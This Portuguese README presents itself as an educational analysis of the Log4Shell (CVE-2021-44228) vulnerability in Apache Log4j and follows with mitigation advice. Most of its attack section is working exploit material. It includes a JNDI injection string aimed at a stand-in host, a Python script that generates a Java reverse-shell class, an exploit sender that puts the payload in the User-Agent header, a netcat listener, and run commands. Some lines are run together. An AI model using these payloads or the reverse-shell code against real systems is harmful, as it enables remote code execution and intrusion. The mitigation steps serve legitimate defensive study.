
Análise educacional do CVE-2021-44228 (Log4Shell) com scripts de PoC, detalhamento do vetor de ataque e orientações de mitigação para entender e testar a vulnerabilidade crítica de RCE no Apache Log4j.
Impacto Crítico (CVSS 10.0) | Descoberta em 2021, esta falha no Apache Log4j permite execução remota de código (RCE) e afeta milhões de sistemas globalmente. Ainda hoje, é um lembrete chave para a cibersegurança!
CVE-2021-44228, conhecida como Log4Shell, é uma vulnerabilidade crítica de Execução Remota de Código (RCE) na biblioteca de logging Apache Log4j 2. Esta falha permite que atacantes maliciosos executem código arbitrário em servidores vulneráveis simplesmente enviando uma cadeia de texto especialmente criada que a aplicação registra.
Log4Shell não está sozinha; derivou em CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) e CVE-2021-4104 (RCE no Log4j 1.2).
O núcleo do problema é o gerenciamento inseguro de JNDI (Java Naming and Directory Interface) no Log4j, que resolve lookups remotos sem sanitização.
${jndi:ldap://atacante.com:1389/Exploit}
Como funciona:
${...} e ativa um lookup JNDI.Protocolos exploráveis: LDAP, RMI, DNS, IIOP, etc. Isso habilita ameaças como:
Cadeia de Infecção (Kill Chain):
Estatísticas de Impacto:
90% de ambientes na nuvem expostos inicialmente.
⚠️ Aviso: Este conteúdo é exclusivamente para fins educativos e testes autorizados. Não use isso em sistemas sem permissão explícita. Explorar vulnerabilidades sem autorização é ilegal (ex: viola leis como CFAA nos EUA). Sempre realize pentesting ético.
Baseado em repositórios públicos como kozmer/log4j-shell-poc, aqui uma visão geral simplificada de um PoC em ambientes controlados (ex: Docker/VM local).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (código de shell inversa simplificado)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Classe Exploit gerada com sucesso')
except Exception as e:
print(Fore.RED + f'[-] Erro: {e}')
# ... (funções para LDAP server e web server similares ao original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - Use apenas em labs!")
# Argumentos: --userip localhost --webport 8000 --lport 9001
# Lança LDAP, web server e gera payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - Monitore a shell reversa.${jndi:ldap://127.0.0.1:1389/a} em um campo de login/busca.PoC Simples em Python (Listener + Exploit): Para demonstrações rápidas, use este duo de scripts (execute o listener primeiro).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener em {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Conexão de {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Pressione Enter para parar...\n") # Mantém vivo
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Enviado para {target} | Status: {r.status_code}")
except Exception as e:
print(f"[!] Erro: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
Execução: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
Notas: Requer Marshalsec para LDAP simulado. Teste apenas em laboratórios isolados.
Aja agora! Log4Shell é evitável com atualizações e configurações.
mvn dependency:tree ou Snyk.-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml, adicione <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} (ex: regras no ModSecurity ou Cloudflare).Para CVEs Derivadas:
Este README.md é para fins educativos e de conscientização em cibersegurança. Não promove atividades ilegais. Se você é profissional de segurança, avalie seu ambiente com ferramentas como OWASP Dependency-Check. Mantenha seus sistemas atualizados para um mundo mais seguro! 🔒
Última atualização: Baseado em dados até 2023. Verifique fontes oficiais para novidades.
| Característica | Detalhe |
|---|
| Pontuação CVSS v3.1 | 10.0 (CRÍTICO) 🔥 - Máxima gravidade possível. |
| Versões Afetadas | Log4j 2.0-beta9 a 2.14.1 (inclui derivadas até 2.16.0 para sub-CVEs). |
| Causa Raiz | Substituição de mensagens JNDI sem validação; lookups remotos habilitados. |
| Vetores | Remoto, não autenticado; afeta Java 8+ em apps web/nuvem. |
| Produtos Impactados | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, e mais. |
| Exploração | Fácil: PoCs públicos no GitHub; não precisa de privilégios. |